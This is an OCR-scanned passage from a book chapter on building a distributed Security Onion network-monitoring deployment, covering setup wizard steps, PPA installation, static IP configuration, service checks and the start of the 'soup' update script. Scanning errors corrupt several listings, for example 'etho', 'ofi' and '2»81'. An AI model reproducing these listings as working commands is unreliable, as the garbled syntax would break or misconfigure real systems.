When the system reboots, it will be ready to be configured as an SO 


sensor. To configure the sensor, follow these steps: 


A: 


Click the Setup icon and enter your password to perform administra- 
tive tasks. Select Yes, Continue! when prompted. 


The setup script should notice that you've already configured network 
interfaces, so choose Yes, skip network configuration!. 


When asked to choose either Quick Setup or Advanced Setup, select 
Advanced Setup and click OK. When asked to select Server, Sensor, or 
Standalone, select Sensor, as shown in Figure 4-6. 


Y Security Onion Setup (sovm) 


Ifthis is the first machine in a distributed deployment, choose Server. 
This machine will only run Sguil, Squert, Snorby, and ELSA and will not monitor any network interfaces. 


Ifthis is a sensor for a distributed deployment (you've already installed the Server), choose Sensor. 
You will need to be able to SSH to the existing Server box with an account with sudo privileges. 


Otherwise, choose Standalone to configure both Server and Sensor components on this box. 


() Server 
(& Sensor 


©) Standalone 





Figure 4-6: Choosing to build a sensor 


4. Asan SO sensor, this system will cooperate with our SO server. Accord- 


ingly, the setup wizard should prompt you to enter the hostname or IP 
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address of the SO server, as shown in Figure 4-7. As you can see, I enter 
192.168.2.129, which I statically assigned to the SO server earlier. Enter 
the IP address for your SO server. 

Y Security Onion Setup (sendemiso) 


What is the hostname or IP address of the Sguil server that this sensor should connect to? 





192.168.2.129] | 





cancel - qf ok J 





Figure 4-7: Providing the SO sensor setup wzard program with the IP address 
of the SO server 


The setup wizard will ask for a username for the SO sensor processes 

to use to connect via OpenSSH. SO uses OpenSSH for communica- 
tion between the server and one or more sensors. The username you 
selected when building the SO server will suffice for demo purposes, but 
in production environments, you should create a new user on the server 
for each sensor that you expect to report. Separate users will limit your 
system's exposure if any single sensor is compromised. I enter svrdemiso for 
the user account, as shown in Figure 4-8. Use a value appropriate for 
your setup. 


Y Security Onion Setup (sendemiso) 


Please enter a username that can SSH to the Sguil server and execute sudo. 





svrdemiso| | 





Qcancel fK 
Figure 4-8: Configuring the username to connect to the SO server 


The setup wizard asks for the interface (s) to be monitored, as in the 
stand-alone setup. I choose ethl and click OK. The setup wizard then 
asks a series of questions about individual NSM components. I choose 
to enable all of the following, answering Yes to enable the IDS Engine, 
Bro, http. agent, Argus, PRADS, and full packet capture. I accept the 
default of 150MB for the size of my pcap files. I then enable mmap I/O 
and accept the default ring buffer size of 64MB. I also accept the default 
percentage of disk usage at 90%. I enable ELSA and agree next to auto- 
matically update the ELSA server as shown in Figure 4-9. 


M Security Onion Setup (sendemiso) 


[2] Would you like to automatically update the ELSA server? 


This will restart Apache on the ELSA server and may disrupt any user sessions. 





[2.40 not update SA sener. 
4 





Figure 4-9: Telling the setup script to update the ELSA server 


7. Itstime to commit these changes. The setup script summarizes the 
results. If you're satisfied with the output, click Yes, proceed with the 
changes!, as shown in Figure 4-10. 


Security Onion Setup (sendemiso) 


We're about to do the following: 

-Set the OS timezone to UTC. 

- Delete any existing NSM data/configuration. 

- Monitor each ofthe following interfaces: 

eth1 

- Configure the sensors to report to 192.168.2.129. 
- Run a single IDS process per interface. 

- Run a single Bro process per interface. 

- Configure ELSA as a Log Node. 


We're about to make changes to your system! 


Would you like to continue? 





| Qno. do not make changes! | | ej) Yes, proceed with the changes! | 


4 








Figure 4-10: SO summary before proceeding with SO sensor 
changes 


Completing Setup 


As noted earlier, distributed SO deployments rely on OpenSSH for commu- 
nication. During setup, the OpenSSH client will likely report that it can’t 
verify the authenticity of the SO server. It will probably show the ECDSA key 
fingerprint of the SO server and ask if you want to continue connecting. 

Log in to the SO server locally and run the following commands to 
obtain a fingerprint of the ECDSA key. (Your key will differ from the output 
in Listing 4-1.) 





$ ls /etc/ssh/*key* 

/etc/ssh/ssh host dsa key /etc/ssh/ssh host ecdsa key.pub 
/etc/ssh/ssh host dsa key.pub /etc/ssh/ssh host rsa key 

/etc/ssh/ssh host ecdsa key /etc/ssh/ssh host rsa key.pub 

$ ssh-keygen -lf /etc/ssh/ssh host ecdsa key.pub 

256 33:6c:38:9a:48:ce:fc:b2:c2:26:57:c3:81:a7:9d:b9 root@svrdemiso (ECDSA) 





Listing 4-1: Examining SSH keys 


Verify that the key fingerprint you see matches the key on your SO 
server, and then type yes and press ENTER, as shown in Figure 4-11. 


Terminal 





Figure 4-11: Validating the OpenSSH ECDSA key fingerprint 
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A few more configuration messages will pass by, and another termi- 
nal will appear, prompting you to enter your password to log in to the SO 
server. Once you've entered your password correctly, the setup wizard will 
report that it is complete. 


Verifying that the Sensors Are Working 


Now verify that the sensors are running with the sudo service nsm status 
command. If you see output like that in Listing 4-2, everything is probably 
working fine: 





$ sudo service nsm status 


Status: HIDS 

* ossec agent (sguil) [ OK ] 
Status: Bro 
Name Type Host Status Pid Peers Started 
manager manager 192.168.2.130 running 2501 2 10 Feb 17:17:26 
proxy proxy 192.168.2.130 running 2659 2 10 Feb 17:17:28 
sendemiso-eth1-1 worker 192.168.2.130 running 3275 2 10 Feb 17:17:31 
Status: sendemiso-eth1 

* netsniff-ng (full packet data) [ OK 

* pcap agent (sguil) [ OK 

* snort agent (sguil) [ OK 

* suricata (alert data) [ OK 

* barnyard2 (spooler, unified2 format) [ OK 

* prads (sessions/assets) [ OK 

* sancp agent (sguil) [ OK 

* pads agent (sguil) [ OK 

* argus [ OK 

* http agent (sguil) [ OK 








Listing 4-2: Checking NSM service status 
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Verifying that the Autossh Tunnel Is Working 


If you notice that one or more NSM components aren’t working, try running 
the sudo service nsm restart command to stop and start each application. If 
that doesn’t result in each component working as expected, you may have a 
more serious problem. You might need to restart your setup, or consult the 
online SO mailing list for assistance. You should also verify that the autossh 
tunnel that connects the sensor to the server is operational. Use the follow- 
ing command as shown in Listing 4-3. 





$ ps aux | grep autoss[h] 

root 9775 0.0 0.0 4308 324 ? Ss 17:01 0:00 /usr/lib/ 
autossh/autossh -M 0 -q -N -o ServerAliveInterval 60 -o ServerAliveCountMax 
3 -i /root/.ssh/securityonion -L 3306:127.0.0.1:3306 -R 50000:1localhost:50000 
-R 50001:localhost:9306 svrdemiso@192.168.2.129 


Listing 4-3: Looking for autossh processes 


You can get similar results with pgrep -1f autossh. If the output is blank, you 
do not have an autossh tunnel established. Try rerunning the SO setup script. 

You can run a test by visiting hitp://www.testmyids.com/. If you see results 
in the Snorby application, your SO sensor is communicating events to your 
SO server. Congratulations—you have built a distributed NSM system! 


Building an SO Server Using PPAs 


The previous installations used the SO .iso file provided by the SO project, 
but that's not the only installation option. You can also build SO function- 
ality on a locally installed Ubuntu Linux-based operating system using 

the SO project's PPAs, available at Attps://launchpad.net/-securityonion/. 
Some organizations prefer to avoid using Linux distributions built by other 
teams. If your organization follows this model and uses its own Ubuntu 
Linux-derived base installation, you can use SO PPAs to deploy SO on your 
platforms. 

The SO project builds stable, test, and development PPAs. You should 
use stable in production environments. If you want to help keep SO mov- 
ing forward, run the test PPA. The development PPA is best suited to SO 
developers. 

In the remainder of this chapter, we'll build an entirely new server-plus- 
sensor deployment solely for the purpose of demonstrating an alternative 
setup option. Instead of using an .7so image from the SO project, we'll use 
the 64-bit, Long Term Support (LTS) version of Ubuntu Server 12.04 as the 
base operating system for an SO server and sensor. 

You can download the .iso file for this distribution from the Ubuntu 
project website at Attp://www.ubuntu.com/download/server/. When visiting 
that page, you'll see a Get Ubuntu 12.04 LTS option, which will be avail- 
able through April 2017. I chose this distribution because the SO project 
tests against the LTS and cannot guarantee support for other variants. 
This is a popular option that your organization may use itself, thanks to 
the extended availability of the release. 


Building your own system using PPAs requires knowledge of Linux that exceeds that 
required for using the SO .iso installation method. For example, you need to know 
how to forward X sessions. (I show how to accomplish that task, and other Linux 
steps, later in the chapter.) If you are not comfortable with this process, or don't under- 
stand what it means, ask a Linux-experienced friend or install SO from the Aso files 
as previously described. 


Installing Ubuntu Server as the SO Server Operating System 


Begin the Ubuntu server installation process by booting the Ubuntu Server 
LTS .isoimage on the hardware chosen to run the SO server. The installation 
wizard will prompt you to make a number of choices. Make the following 
selections, adjusted as appropriate for your environment. 
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10. 


1l. 


12. 


13. 


14. 


Language: English 

Install Ubuntu Server 

Select a language: English 

Select your location: United States 

Configure the keyboard: 

e Detect keyboard layout? No 

e English (US) 

e Keyboard layout: English (US) 

Hostname: serverdemo 

Set up users and passwords: 

e Full name for the new user: serverdemo 

e Username for your account: serverdemo 

e Choose a password for the new user: «enter password» 
e Reenter password to verify: «enter password» 

e Encrypt your home directory? No 

Configure the clock. Is this time zone correct? Yes 
Partition disks: 

e Partitioning method: Guided - use entire disk and set up LVM 
e Select disk to partition: «choose your disk> 

e Write the changes to disks and configure LVM? Yes 


e Amount of volume group to use for guided partitioning: «accept 
default», Continue 


e Write the changes to disks? Yes 


Configure the package manager. HTTP proxy information (blank for 
none): «blank», Continue 


Configure tasksel. How do you want to manage upgrades on this system? 
No automatic updates. 


Software selection. Choose software to install: «click spacebar on 
OpenSSH server», Continue 


Install the GRUB boot loader on a hard disk. Install the GRUB boot 
loader to the master boot record? Yes 


Finish the installation. Continue 


When installation is complete, the system will reboot. When you log in, 


you should see the IP address assigned via DHCP, as well as messages about 
the number of updates that can be applied, as shown in Figure 4-12. 


In some cases, Ubuntu may not show you an IP address or other system 


information. In these cases, the login script determined that the system is 
under load, and it will report that condition. This is normal for systems that 
start a significant number of input/output (I/O) sensitive operations after 
booting. 


Helcome to Ubuntu 12.04.1 
* Documentation: htt 


tem information as of S 7:06:47 EST 2013 


ped in the 


JLUTELY NO W ANTY, to the extent permitted by 





Figure 4-12: Ubuntu server is installed. 


Choosing a Static IP Address 


We installed the operating system and allowed a dynamic IP address, 
but now we want to transition from DHCP to static IP addressing. In this 
example, we’ll edit a specific configuration file, which is one of the ways to 
set a static IP address. (Earlier I showed you how to set a static IP address 
using a GUI menu.) First open the /etc/network/interfaces file to edit it with 
the vi editor like this (enter your password when prompted): 





$ sudo vi /etc/network/interfaces 





The file should contain entries like those in Listing 4-4. 





# This file describes the network interfaces available on your system 
# and how to activate them. For more information, see interfaces(5). 


# The loopback network interface 
auto lo 
iface lo inet loopback 


# The primary network interface 
auto etho 
iface etho inet dhcp 





Listing 4-4: Default contents of /etc/network/interfaces 
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Comment out the entries in the etho section with hashmarks (#) and 
add entries like the ones shown in Listing 4-5 in bold to match your setup. 
(Ask your administrators for the settings most compatible with your net- 
work, if necessary.) 


# The primary network interface 

# auto etho 

# iface etho inet dhcp 

auto etho 

iface etho inet static 
address 192.168.2.128 
netmask 255.255.255.0 
network 192.168.2.0 
broadcast 192.168.2.255 
gateway 192.168.2.1 
dns-search taosecurity.com 
dns-nameservers 172.16.2.1 





Listing 4-5: Edited contents of /etc/network/interfaces 


Finally, restart the networking services to enable the static IP address 
with the command shown in Listing 4-6. 





$ sudo /etc/init.d/networking restart 

* Running /etc/init.d/networking restart is deprecated because it may not 
enable again some interfaces 

* Reconfiguring network interfaces... 

ssh stop/waiting 

ssh start/running, process 16814 [ OK ] 





Listing 4-6: Restarting network services to use a static IP address 


Now reboot the system to kill the virtual dhclient process, which assigns 
IP addresses via DHCP. After rebooting, your system should have a static IP 
address. 

To confirm that your static IP address is configured as expected, connect 
via OpenSSH to the IP address of the server to continue with the next tasks. 
From a different workstation, open a terminal and execute ssh username@server 
IP, where username is the username you configured, and server IP is the static 
management IP address you applied to the server. 


Updating the Software 


Next, update the software running on your server. Run these commands: 





$ sudo apt-get update && sudo apt-get dist-upgrade 





When asked if you want to continue, type Y and press ENTER. The 
server will download and install any updates. Once it’s finished, enter 
sudo reboot to complete the process and reboot the server. 


Beginning MySQL and PPA Setup on the SO Server 


After rebooting, log in. Now we'll start configuring our system as an SO 
server. First, issue the following command to tell MySOL not to prompt for 
a root password during installation. 





$ echo "debconf debconf/frontend select noninteractive" | sudo debconf-set-selections 





Now install the python-software-properties package. 





$ sudo apt-get -y install python-software-properties 





Next, add the securityonion/stable PPA to the list of repositories recog- 
nized by this Ubuntu server, as shown in Listing 4-7. 





$ sudo add-apt-repository -y ppa:securityonion/stable 

gpg: keyring ~/tmp/tmpn0ilj5/secring.gpg' created 

gpg: keyring ~/tmp/tmpn0ilj5/pubring.gpg' created 

gpg: requesting key 23F386C7 from hkp server keyserver.ubuntu.com 

gpg: /tmp/tmpn0ilj5/trustdb.gpg: trustdb created 

gpg: key 23F386C7: public key "Launchpad PPA for Security Onion" imported 
gpg: Total number processed: 1 

gpg: imported: 1 (RSA: 1) 

OK 





Listing 4-7: Adding the securityonion/stable PPA to the list of repositories 


Update the package listing with the following command. 





$ sudo apt-get update 





Now install the securityonion-server package. 





$ sudo apt-get install securityonion-server 





Notice in Listing 4-8 that in addition to many dependencies, the system 
plans to install a lot of SO-specific packages. This is normal during software 
installation. 





-- snip -- 
securityonion-capme securityonion-daq securityonion-et-rules 
securityonion-limits securityonion-login-screen 
securityonion-nsmnow-admin-scripts securityonion-ossec-rules 
securityonion-passenger securityonion-passenger-conf 
securityonion-pfring-daq securityonion-pfring-ld securityonion-pfring-module 
securityonion-pfring-userland securityonion-pulledpork 
securityonion-rule-update securityonion-server securityonion-setup 
securityonion-sguil-agent-ossec securityonion-sguil-db-purge 
securityonion-sguil-server securityonion-sguild-add-user 
securityonion-snorby securityonion-snort securityonion-sostat 
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securityonion-squert securityonion-squert-cron securityonion-web-page 
securityonion-wkhtmltopdf shared-mime-info sound-theme-freedesktop sox 
sqlite3 ssl-cert tcl-tls tc18.5 tcllib tclx8.4 tcpflow tcpflow-no-tags 
tshark ttf-dejavu-core ttf-liberation wireshark-common x11-common xplico 
zenity zenity-common 

O upgraded, 288 newly installed, O to remove and O not upgraded. 

Need to get 287 MB of archives. 

After this operation, 643 MB of additional disk space will be used. 

Do you want to continue [Y/n]? 





Listing 4-8: Installing the securityonion-server package 


Type Y and press ENTER to continue. You will probably need to wait sev- 
eral minutes while the server downloads and installs the required software. 
Once it's finished, install the securityonion-elsa and securityonion-elsa-extras 
packages. 





$ sudo apt-get install securityonion-elsa securityonion-elsa-extras 





Configuring Your SO Server via PPA 


Now set up this server using sosetup. Connect via SSH from a Linux system 

to take advantage of X forwarding. Here, I'm connecting from a separate 
Linux system named ubuntu. Notice the use of the capital -X switch to enable 
X forwarding. X is a protocol for displaying graphical user interfaces. For- 
warding means sending a GUI window someplace other than the computer 
on which it is run. The -X switch tells the remote server to display client win- 
dows through the SSH connection so that they appear on the local desktop, 
not the remote system. This allows you to interact with those client windows 
and configure software as necessary. Listing 4-9 explains the details. 


richard@ubuntu:~$ ssh -X serverdemo@192.168.2.128 

The authenticity of host '192.168.2.128 (192.168.2.128)' can't be established. 
ECDSA key fingerprint is 7f:a5:75:69:66:07:d9:1a:90:e5:42:1a:91:5a:ab:65. 

Are you sure you want to continue connecting (yes/no)? yes 

Warning: Permanently added '192.168.2.128' (ECDSA) to the list of known hosts. 
serverdemo@192.168.2.128's password: ****** 

Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.2.0-37-generic x86 64) 


* Documentation: https://help.ubuntu.com/ 


System information as of Sun Feb 10 10:02:59 EST 2014 


System load: 0.0 Processes: 94 
Usage of /: 7.2% of 35.20GB Users logged in: 1 
Memory usage: 74 IP address for ethO: 192.168.2.128 


Swap usage: 0% 


Graph this data and manage this system at https://landscape.canonical.com/ 


Last login: Sun Feb 10 09:59:57 2014 

/usr/bin/xauth: file /home/serverdemo/.Xauthority does not exist 
serverdemo@serverdemo:~$ sudo sosetup 

[sudo] password for serverdemo: ******* 





Listing 4-9: Connecting to the SO server and configuring X forwarding 


When you run sudo sosetup, you will see a screen appear on your local 
workstation, like the one shown in Figure 4-13. 


Security Onion Setup (serverdemo) (on serverdemo) 


Welcome to Security Onion Setup! 


This program will allow you to configure Security Onion on serverdemo. 


Would you like to continue? 





Figure 4-13: Preparing to run SO Setup 


Now configure this SO server in the same manner as when configur- 
ing the SO server built on the .iso file earlier in this chapter, in “Configuring 
Your SO Server” on page 78. Once you’ve made your choices, the setup 
wizard will summarize them and ask whether you want to proceed with 
the changes, as shown in Figure 4-14. 


Security Onion Setup (serverdemo) (on serverdemo) 


We're about to do the following: 

- Set the OS timezone to UTC. 

- Delete any existing NSM data/configuration. 

- Create a Sguil server named securityonion. 

- Create a Sguil user named serverdemo. 

- Create a Snorby user named taosecurity@gmail.com. 
- Run a single IDS process per interface. 

- Run a single Bro process per interface. 

- Download Emerging Threats GPL ruleset. 

- Configure ELSA as both a Log Node and Web Node. 


We're about to make changes to your system! 


Would you like to continue? 


No, do not make changes! | 


Figure 4-14: SO summary before proceeding with SO server changes 





After you click Yes, proceed with the changes!, the setup wizard will 
complete installation. 

As discussed in “Configuring Your SO Server” on page 78, to confirm 
the installation was successful, visit the web page hosted on the server and 
access a web-enabled NSM application like Snorby. 

With your server active, it’s time to build a sensor. 
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With the server running, we can turn to building an SO sensor using PPAs. 
This sensor will cooperate with the server we just built. We'll continue the 
theme of using an Ubuntu server distribution as our operating system, and 
add SO components using PPAs. 


Installing Ubuntu Server as the SO Sensor Operating System 


Begin the Ubuntu server installation process by booting the Ubuntu Server 
LTS .iso file on the hardware chosen to run the SO sensor. The installation 
wizard will prompt you to make a number of choices. Make the following 
selections, adjusted as appropriate for your environment: 


l. Language: English 

2. Install Ubuntu Server 

3. Selecta language: English 

4. Select your location: United States 
5. Configure the keyboard: 


e Detect keyboard layout? No 
e English (US) 
e Keyboard layout: English (US) 


6. Configure the network. Hostname: sensordemo 


When prompted to choose a primary network interface (as in Fig- 
ure 4-15), you must tell the setup wizard which NIC to use for management. 
In Figure 4-15, I select etho for management as the primary network inter- 
face. The setup wizard should automatically look for an IP address from a 
DHCP server for etho. (We'll set a static IP when we run the SO setup script.) 


[!!] Configure the network 


Your system has multiple network interfaces. Choose the one to use as the primary network 
interface during the installation. If possible, the first connected network interface 
found has been selected. 


Primary network interface: 


eth0: Intel Corporation M Gigabit Ethernet Controller (Copper) 
ethi: Intel Corporation B2545EM Gigabit Ethernet Controller (Copper) 


<Go Back> 











Figure 4-15: Selecting the primary network interface 


Now follow these steps to continue installing the operating system. 
I’ve entered values like usernames and passwords for demonstration only. 
Choose values that meet your needs in production. 


1. Setup users and passwords: 
e Full name for the new user: sensordemo 
e Username for your account: sensordemo 
e Choose a password for the new user: «enter password» 
e Reenter password to verify: «enter password» 
e Encrypt your home directory? No 
2. Configure the clock. Is this time zone correct? Yes 
3. Partition disks: 
e Partitioning method: Guided - use entire disk and set up LVM 
e Select disk to partition: «choose your disk» 
e Write the changes to disks and configure LVM? Yes 


e Amount of volume group to use for guided partitioning: «accept 
default», Continue 


e Write the changes to disks? Yes 


4. Configure the package manager. HTTP proxy information (blank for 
none): <blank>, Continue 


5. Configure tasksel. How do you want to manage upgrades on this sys- 
tem? No automatic updates. 


6. Software select ion. Choose software to install: <click spacebar on 
OpenSSH server>, Continue 


7. Install the GRUB boot loader on a hard disk. Install the GRUB boot 
loader to the master boot record? Yes 


8. Finish the installation. Continue 


When the installation is complete, the system will reboot. 

Upon log in, you may see the IP address assigned via DHCP, along with 
various messages. Note the IP address if it’s displayed. If the system is under 
load, you may not see the system information screen that reports an IP 
address. To get the IP address of the management NIC, run ifconfig etho 
at the command prompt, as shown in Figure 4-16. 


0 WARRANTY, to 





Figure 4-16: Running ifconfig etho to learn the management IP address 
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Now it's time to update the sensor software. Connect to the server with 
OpenSSH and enter this command: 


$ sudo apt-get update && sudo apt-get dist-upgrade 





Type Y to continue when prompted, and then press ENTER. The sensor 
should download and install updates. When it's finished, enter the sudo 
reboot command to restart the server and complete the process. 


Configuring the System as a Sensor 


Our next task is to configure the SO sensor. First, enter the following com- 
mand to tell MySOL not to prompt for a root password during installation. 





$ echo "debconf debconf/frontend select noninteractive" | sudo debconf-set-selections 





Now install the python-software-properties package. 





$ sudo apt-get -y install python-software-properties 





Next, add the securityonion/stable PPA to the list of repositories recog- 
nized by this Ubuntu system, as shown in Listing 4-10. 





$ sudo add-apt-repository -y ppa:securityonion/stable 

gpg: keyring ~/tmp/tmpBByK4H/secring.gpg' created 

gpg: keyring ~/tmp/tmpBByK4H/pubring.gpg' created 

gpg: requesting key 23F386C7 from hkp server keyserver.ubuntu.com 

gpg: /tmp/tmpBByK4H/trustdb.gpg: trustdb created 

gpg: key 23F386C7: public key "Launchpad PPA for Security Onion" imported 
gpg: Total number processed: 1 

gpg: imported: 1 (RSA: 1) 

OK 





Listing 4-10: Adding the securityonion/stable PPA to the list of repositories 
Update the package listing with the following command. 
$ sudo apt-get update 


Install the following packages. 





$ sudo apt-get install securityonion-sensor securityonion-elsa securityonion-elsa-extras 





When asked whether you want to continue, answer Y and press ENTER. 
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Running the Setup Wizard 


In order to run the setup wizard we need to use OpenSSH and X forward- 
ing. Do the following, but use the username and IP address appropriate for 
your environment. In Listing 4-11, I chose sensordemo as the username, and 


the IP address assigned via DHCP was 192.168.2.147. 





richard@ubuntu:~$ ssh -X sensordemo@192.168.2.147 

The authenticity of host '192.168.2.147 (192.168.2.147)' can't be established. 
ECDSA key fingerprint is a5:a9:08:16:b5:d2:3c:ce:59:7:08:91:a0:04:0b:47. 

Are you sure you want to continue connecting (yes/no)? yes 

Warning: Permanently added '192.168.2.147' (ECDSA) to the list of known hosts. 
sensordemo@192.168.2.147's password: ******* 

Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.2.0-37-generic x86 64) 


* Documentation: https://help.ubuntu.com/ 


System information as of Sun Feb 10 13:06:46 EST 2013 


System load: 0.11 Processes: 82 
Usage of /: 5.3% of 35.20GB Users logged in: 1 
Memory usage: 1% IP address for ethO: 192.168.2.147 


Swap usage: 0% 
Graph this data and manage this system at https://landscape.canonical.com/ 


Last login: Sun Feb 10 13:03:59 2013 

/usr/bin/xauth: file /home/sensordemo/.Xauthority does not exist 
sensordemo@sensordemo:~$ sudo sosetup 

[sudo] password for sensordemo: ****** 





Listing 4-11: Connecting to the SO sensor and configuring X forwarding 


When you run this command, you will see a screen like the one shown 
in Figure 4-17. You will need to configure network interfaces because this 
platform is a sensor. 


Security Onion Setup (sensordemo) (on sensordemo) 
Would you like to configure /etc/network/interfaces now? 


This is HIGHLY recommended as it will automatically optimize your network interfaces. 
This includes disabling any NIC offload features which may interfere with traffic analysis. 
For more information, please see: 

http://securityonion. blogspot.com/2011/10/when-is-full-packet-capture-not-full. html 


If you choose NO, you should manually configure your management and monitored interfaces 
per the instructions on the Security Onion Wiki located at: 
http://code. google.com/p/security-onion/wiki/NetworkConfiguration 


No, not right now. | | 


Figure 4-17: Prompt to configure network interfaces 
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Remember to use the IP address, username, and password of the SO 
server from the PPAs. The setup wizard will summarize your configuration 
choices and ask whether you wish to proceed with the changes, as shown in 
Figure 4-18. 


Security Onion Setup (sensordemo) (on sensordemo) 


We're about to do the following: 

- Backup existing network configuration to /etc/network/interfaces. bak 

- Configure the management interface ethO as follows: 
Set static IP address of 192.168.2.131 
Set the gateway IP address to 192.168.2.1 
Set the network mask to 255.255.255.0 
Set the DNS server(s) to 172.16.2.1 
Set the DNS domain to taosecurity.com 

- Configure the following interface(s) for sniffing: 

eth1 
- REBOOT 


After rebooting, you'll need to run Setup again to complete the Setup process. 
We're about to make changes to your system! 


Would you like to continue? 


No, do not make changes! | 


Figure 4-18: SO summary before proceeding with changes to the network interface 





After the system reboots, connect to the SO sensor again via 
OpenSSH and enable X forwarding. Rerun the setup wizard, and then 
choose Advanced Setup > Sensor. Enter the IP or hostname of the SO 
server, followed by the username that can connect via OpenSSH and run 
sudo. Choose the appropriate NIC to monitor, enable ELSA, update the 
ELSA server, and then review the summarization of changes, which will 
look similar to Figure 4-19. 


Security Onion Setup (sensordemo) (on sensordemo) 


We're about to do the following: 

- Set the OS timezone to UTC. 

- Delete any existing NSM data/configuration. 

- Monitor each of the following interfaces: 

eth1 

- Configure the sensors to report to 192.168.2.128. 
- Run a single IDS process per interface. 

- Run a single Bro process per interface. 

- Configure ELSA as a Log Node. 


We're about to make changes to your system! 


Would you like to continue? 


No, do not make changes! | 


Figure 4-19: SO summary before proceeding with sensor changes 





You will be prompted to continue connecting via OpenSSH when the 
authenticity of the SO server's ECDSA key cannot be verified. You will also 
need to log in to the SO server, and then enter the sudo password. Once 
you've finished, the setup wizard will report that it is complete. After the 
GUI disappears, run the status script to see if the NSM applications are 
running, as shown in Listing 4-12. 





$ sudo service nsm status 
Status: HIDS 


* ossec agent (sguil) [ OK ] 
Status: Bro 
Name Type Host Status Pid Peers Started 
manager manager 192.168.2.131 running 3173 2 10 Feb 18:18:27 
proxy proxy 192.168.2.131 running 3228 2 10 Feb 18:18:29 
sensordemo-eth1-1 worker 192.168.2.131 running 3275 2 10 Feb 18:18:32 
Status: sensordemo-eth1 

* netsniff-ng (full packet data) [ OK ] 

* pcap agent (sguil) [ OK ] 

* snort agent (sguil) [ OK ] 

* suricata (alert data) [ OK ] 

* barnyard2 (spooler, unified2 format) [ OK ] 

* prads (sessions/assets) [ OK ] 

* sancp agent (sguil) [ OK ] 

* pads agent (sguil) [ OK ] 

* argus [ OK ] 

* http agent (sguil) [ OK ] 





Listing 4-12: Checking NSM service status 


Also check for the establishment of the autossh tunnel as shown in 
Listing 4-13. 





$ ps aux | grep autoss[h] 

root 3046 0.0 0.0 4308 320? Ss 18:18 0:00 /usr/lib/ 
autossh/autossh -M 0 -q -N -o ServerAliveInterval 60 -o ServerAliveCountMax 
3 -i /root/.ssh/securityonion -L 3306:127.0.0.1:3306 -R 50000: localhost:50000 
-R 50001: localhost :9306 serverdemo@192.168.2.128 





Listing 4-13: Looking for autossh processes 


These results (with OK in every field) are all good signs. If you get differ- 
ent results, try rerunning the setup wizard. 

To verify that everything is working as expected, access the web server 
running on your new SO server, and then run Snorby and look for events 
captured by the Suricata IDS engine. If you see events, congratulations— 
you've built a distributed NSM system using Ubuntu Linux PPAs! 
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Conclusion 


In this chapter, you took a step beyond the normal stand-alone SO model 
and entered the world of distributed NSM operations. We looked at two 
possible ways to deploy server-plus-sensor systems: 


e Using the .iso images provided by the SO project to build an SO server, 
and then using the same .iso file to build an SO sensor. 


e Using a standard .iso image from the Ubuntu Server distribution to 
replace the SO project .iso file. We used SO project PPAs to build an 
SO server and an SO sensor. 


Using each approach—an .iso file from the SO project or a “stock” .iso 
from the Ubuntu developers—we built a distributed NSM setup. 

In Chapter 5, we'll take a brief look at a variety of SO housekeeping 
issues, such as keeping platforms up-to-date, limiting network access for 
security purposes, and managing platform storage. 
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SO PLATFORM HOUSEKEEPING 


In Chapters 3 and 4, we built stand-alone, 
server, and sensor SO platforms. All of 
these platforms are Linux systems that 
require a certain amount of care and house- 
keeping. This chapter explains key tasks common to 


all three systems. These administrative duties include 
keeping software up-to-date, limiting network access to promote security, 
and managing system storage. By following the recommendations in this 
chapter, you'll keep your SO platforms running smoothly while providing 
vital data to NSM analysts. 





Keeping SO Up-to-Date 


All NSM platforms run code that may need to be updated periodically, 
and SO is no different. If you don't periodically update the operating sys- 
tem and various applications, you could find yourself running code with 
vulnerabilities. Thankfully, SO is not difficult to update. 
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Beginning with Security Onion 12.04.3, released September 4, 2013, SO 
ships with a purpose-built script to update the platform. Traditionally SO 
relied on either native GUI or command-line tools to conduct updates. How- 
ever, the SO developers began shipping a script called “soup” (for Security 
Onion Update Script) to simplify the update process. Soup helps handle 
potential problems caused by the need to compile some NSM components 
with PF RING support. (PF RING is a feature enabling high-speed packet 
access and capture. See hitp://www.ntop.org/products/pf_ring/ for more infor- 
mation.) Soup also gracefully controls the MySOL system to preserve data- 
base integrity during updates. 

Let's take a brief look at the soup script, located in /usr/bin, to under- 
stand how it works. 





$ cat /usr/bin/soup 
it! /bin/bash 


THEHHHHHHHHHHHBHHHHBHHHHBHHHBHHHBHHHBHHHBBE 
# Variables 
THEHHHHHHHHHHHHHHHHBHHHHBHHHBHHHBHHHHHHHHBBE 


# A banner for user output 
De OR =  HHHHHHHHHHBHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHBE" 


# Most updates don't require a reboot, but kernel updates do. 

# Also, if we install mysql-server updates, we have to stop all services, 
# so we might as well reboot to bring all services back up. 

REBOOT=no 


HHHH HEH H HH H H HHHH HHH HH HHHH HHHH HHH 

# Got root? 

HHHH EH HE HH H H H HHHH HHH HH HHHH HHHH HHH 

if [[ $(/usr/bin/id -u) -ne 0 ]]; then 
echo "This script needs to be run as root. Please try again using sudo." 
exit 

ofi 


THHHETHEHHHHHHHHHHHEHHHBHHHHHBHEHHHBHEHHHH 
# UPDATE! 
EERE EEE H HH H H H H HHHH HHH HH HHHH HHHH HHH 


# Prompt user to continue 

echo $BANNER 

echo "This script will automatically install all available updates." 
echo "" 

echo "If mysql-server updates are available, it will stop sensor processes" 
echo "to ensure a clean update." 

echo "" 

echo "At the end of the script, if mysql-server and/or kernel updates" 
echo "were installed, you will be prompted to reboot." 

echo $BANNER 

echo "" 

echo "Press Enter to continue or Ctrl-C to cancel." 

read input 


# Sync with mirrors 
@apt-get update 


# if mysql-server updates are available, we need to stop services and force 
reboot at end 
if apt-get dist-upgrade --assume-no |grep mysql-server »/dev/null; then 
echo $BANNER 
echo -n "New mysql-server packages available. Stopping services for 
clean update." 
service nsm stop > /dev/null 2»81 


echo -n "." 

service syslog-ng stop > /dev/null 2»81 
echo -n "." 

service apache2 stop > /dev/null 2»81 
echo -n "." 

pkill autossh > /dev/null 2»81 

echo -n "." 

pkill perl > /dev/null 2>&1 

echo "done." 


echo $BANNER 
apt-get install -y mysql-server mysql-server-core-5.5 mysql-server-5.5 
REBOOT=yes 

eti 

# Force pfring-module to install before any kernel updates 

Oapt-get install -y securityonion-pfring-module 


# If there is a kernel update available, we need to reboot at the end 
apt-get dist-upgrade --assume-no | grep linux-image »/dev/null && REBOOT=yes 
@apt-get -y dist-upgrade 


# Final output 
echo $BANNER 
echo "All updates have been installed." 


# If we need to reboot, give the user a chance to cancel. 
if [ $REBOOT == "yes" ]; then 
